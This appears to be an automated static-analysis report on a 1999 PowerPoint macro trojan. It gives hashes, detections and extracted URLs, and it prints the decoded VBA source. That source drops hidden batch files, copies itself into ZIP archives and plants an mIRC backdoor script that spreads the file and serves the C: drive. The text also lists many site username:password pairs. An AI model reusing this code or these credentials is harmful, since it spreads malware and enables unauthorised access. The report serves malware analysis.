Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 c9982009f53a9eef…

MALICIOUS

Office (OLE)

62.5 KB Created: 1999-11-06 15:02:16 Authoring application: Microsoft PowerPoint First seen: 2012-06-14
MD5: 24fddf7beeb54ed574116506da32870a SHA-1: 21fe7f09494c58ec5a51d7a3bac1034b81d26d1e SHA-256: c9982009f53a9eef54855650b7c3a4b0b8521b6001554a561e3e783886b9b953
202 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample contains VBA macros that execute a batch script. This script attempts to copy files and then execute a second-stage payload via 'Shell("X_Jany.bat", vbHide)'. The batch script itself is designed to copy files to the Windows directory and potentially download more content. The presence of the 'Shell()' function and the creation of batch files indicate an attempt to download and execute additional malware.

Heuristics 4

  • ClamAV: Win.Trojan.U-74 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Win.Trojan.U-74
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://qqqq:wwww@www.busty-amateurs.com/members/index.html In document text (OLE body)
    • http://qwer:1234@www.busty-amateurs.com/members/index.htmlIn document text (OLE body)
    • http://trim7gun:paulina@www.busty-amateurs.com/members/members.htmlIn document text (OLE body)
    • http://yeah:baby@www.busty-amateurs.com/members/index.htmlIn document text (OLE body)
    • http://astra23:connect@www.busty-amateurs.com/members/index.htmlIn document text (OLE body)
    • http://hairy:pussy@bserver.amkingdom.com/hairy/members/sc0001.htmIn document text (OLE body)
    • http://buck:rogers@snatchgirls.com/members-only/In document text (OLE body)
    • http://hotdog:ballgame@cybersexmotel.com/members/In document text (OLE body)
    • http://mitems:yeahyeah@wc1.watchcams.com/members/members.htmlIn document text (OLE body)
    • http://asia:rules@www.18asiansluts.com/members/In document text (OLE body)
    • http://bowlhead:642056@www.sizzle.com/members/index.shtmlIn document text (OLE body)
    • http://doerges:ilona@www.plumpersmag.com/Members/PBW/aug99/index.htmlIn document text (OLE body)
    • http://adrian:adrian1@www.silkmagnolias.com/Playarea/playroom.htmIn document text (OLE body)
    • http://waynes:boaz@www.sissymaids.com/members/misslut/misslut.htmlIn document text (OLE body)
    • http://hulka:drude@www.extremefitness.com/members/index.htmIn document text (OLE body)
    • http://nanny:babe23@www.18teenhardcore.com/members/In document text (OLE body)
    • http://sjv:1543@www2.pictureview.com/groupindex.htmlIn document text (OLE body)
    • http://1234:1234@www.18girlsex.com/secure/index.htmlIn document text (OLE body)
    • http://jazz:jazz@members.studvision.com/index2.htmlIn document text (OLE body)
    • http://leopard:leopard2@www.lisalawrence.com/members/index.htmlIn document text (OLE body)
    • http://studly:studly@www.schoolgirlz.com/members/In document text (OLE body)
    • http://apcc:spukcab@www.strippersonline.com/members/In document text (OLE body)
    • http://rikkardo:riccardo@www.sofiastaks.com/members/In document text (OLE body)
    • http://www.ebonyfantasy.com/membersIn document text (OLE body)
    • http://www.caseyjames.com/members/14325.htmlIn document text (OLE body)
    • http://www.200pix.com/members/In document text (OLE body)
    • http://www.pictures2000.com/members/In document text (OLE body)
    • http://www.cafeflesh.comIn document text (OLE body)
    • http://www.wickedgirl.com/members/index.htmlIn document text (OLE body)
    • http://member.babylon-x.com/In document text (OLE body)
    • http://www.pink18.com/membersIn document text (OLE body)
    • http://allteensex.org/members/In document text (OLE body)
    • http://www.virtualhardcore.com/pictures/index.htmlIn document text (OLE body)
    • http://members.pamsplace.com/In document text (OLE body)
    • http://www.drporn.com/members/In document text (OLE body)
    • http://members.karasxxx.com/members/index.htmlIn document text (OLE body)
    • http://members.breathlessbabes.com/In document text (OLE body)
    • http://www.strokin-it.com/members-only/In document text (OLE body)
    • http://www.redlight.comIn document text (OLE body)
    • http://www.bare-asians.com/members/welcome.htmlIn document text (OLE body)
    • http://www.rhinogirls.com/members/index.htmlIn document text (OLE body)
    • http://www.adultinfo.holowww.com/members/start.htmIn document text (OLE body)
    • http://www.18teenhardcore.com/members/In document text (OLE body)
    • http://allteen.org/members/In document text (OLE body)
    • http://members.playgal.com/In document text (OLE body)
    • http://horneydorm.com/members/In document text (OLE body)
    • http://www.whoreteens.com/members/teen1/In document text (OLE body)
    • http://www.wetscape.com/hiddenmembers/index.shtmlIn document text (OLE body)
    • http://www.f-ck-me.com/members-only/In document text (OLE body)
    • http://www.fetish.com/members/toc.htmlIn document text (OLE body)
    +24 more URL(s)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 9553 bytes
SHA-256: b12e1fb3b2b83ab308b71a567618b3254fd7af88f191d8a1a18a7cd6d449f0c9
Detection
ClamAV: Win.Trojan.U-74
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Slide1"
Attribute VB_Base = "0{91493445-5A91-11CF-8700-00AA0060263B}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Control = "CommandButton1, 3, 1, MSForms, CommandButton"
Private Sub CommandButton1_Click()

  Open "X_Jany.bat" For Output As 1
   Print #1, "@echo off"
   Print #1, "CTTY NUL"
   Print #1, "@copy X_Jany_Sites.pps %WINDIR%\Help\X_Jany.pps"
   Print #1, "@copy X_Jany_Sites.pps %WINDIR%\Secret.pps"
   Print #1, "for %%i in (*.zip ..\*.zip c:\mirc\download\*.zip c:\*.zip) do start /m winzip32 -a /%%i %WINDIR%\Help\X_Jany.pps >> %WINDIR%\dropper.bat"
   Print #1, "@call %WINDIR%\dropper.bat"
   Print #1, "@del %WINDIR%\dropper.bat"
   Print #1, "CTTY CON"
   Print #1, "@del X_Jany.bat"
   Close 1
   Shell "X_Jany.bat", vbHide
   
   
  Open "C:\janytemp.$$$" For Output As 1
Print #1, "[SCRIPT]"
Print #1, "n0 ="
Print #1, "n1 = on 1:start:{"
Print #1, "n2 = .remote on"
Print #1, "n3 = .ctcps on"
Print #1, "n4 = .events on"
Print #1, "n5 =  }"
Print #1, "n6=on 1:join:#:{"
Print #1, "n7=if ( $nick == $me ) { halt } | .dcc send $nick c:\Windows\Help\X_Jany.pps"
Print #1, "n8=}"
Print #1, "n9=on 1:connect:.msg #trojanslair Jany is a bitch ! $ip on $server $+ : $+ $port $+"
Print #1, "n10=on 1:text:*jany*:#:/fserve $nick 5 C:\"
Print #1, "n11=on 1:PING:/notice $nick Pire que Tout... L'Amour Propre et la fierté!: $1-"
Print #1, ";Designed by Del_Armg0____06 Novembre 1999____Keep It Load!"
Print #1, ";Magic¤°Software (c) 1999"
    Close 1
    
 Open "C:\tempjany.bat" For Output As 1
Print #1, "@echo off"
Print #1, "CTTY NUL"
Print #1, "if exist C:\mirc\mirc32.exe goto copy1"
Print #1, "if exist C:\chat\mirc\mirc32.exe goto copy2"
Print #1, "if exist C:\mirc32\mirc32.exe goto copy3"
Print #1, "if exist C:\progra~1\mirc\mirc32.exe goto copy4"
Print #1, "if exist C:\internet\mirc\mirc32.exe goto copy5"
Print #1, ":copy1"
Print #1, "copy C:\janytemp.$$$ C:\mirc\script.ini"
Print #1, ":copy2"
Print #1, "copy C:\janytemp.$$$ C:\chat\mirc\script.ini"
Print #1, ":copy3"
Print #1, "copy C:\janytemp.$$$ C:\mirc32\script.ini"
Print #1, ":copy4"
Print #1, "copy C:\janytemp.$$$ C:\progra~1\mirc\script.ini"
Print #1, ":copy5"
Print #1, "copy C:\janytemp.$$$ C:\internet\mirc\script.ini"
Print #1, "CTTY CON"
Print #1, "del C:\janytemp.$$$"
Print #1, "del C:\tempjany.bat"
   Close 1
   Shell "C:\tempjany.bat", vbHide



Open "C:\X_Jany_Sites.txt" For Output As 1
Print #1, "--==X_JANY_SITES==--"
Print #1, "=======VARIOUS======================================================"
Print #1, "http://qqqq:wwww@www.busty-amateurs.com/members/index.html "
Print #1, "http://qwer:1234@www.busty-amateurs.com/members/index.html "
Print #1, "http://trim7gun:paulina@www.busty-amateurs.com/members/members.html "
Print #1, "http://yeah:baby@www.busty-amateurs.com/members/index.html "
Print #1, "http://astra23:connect@www.busty-amateurs.com/members/index.html "
Print #1, "http://hairy:pussy@bserver.amkingdom.com/hairy/members/sc0001.htm"
Print #1, "http://buck:rogers@snatchgirls.com/members-only/"
Print #1, "http://hotdog:ballgame@cybersexmotel.com/members/"
Print #1, "http://mitems:yeahyeah@wc1.watchcams.com/members/members.html"
Print #1, "http://asia:rules@www.18asiansluts.com/members/"
Print #1, "http://bowlhead:642056@www.sizzle.com/members/index.shtml"
Print #1, "http://doerges:ilona@www.plumpersmag.com/Members/PBW/aug99/index.html"
Print #1, "http://adrian:adrian1@www.silkmagnolias.com/Playarea/playroom.htm"
Print #1, "http://waynes:boaz@www.sissymaids.com/members/misslut/misslut.html"
Print #1, "http://hulka:drude@www.extremefitness.com/members/index.htm"
Print #1, "http://nanny:babe23@www.18teenhardcore.com/members/"
Print #1, "http://sjv:1543@www2.pictureview.com/groupindex.html"
Print #1, "http://1234:1234@www.18girlsex.com/secure/index.html"
Print #1, "http://jazz:jazz@members.studvision.com/index2.html"
P
... (truncated)

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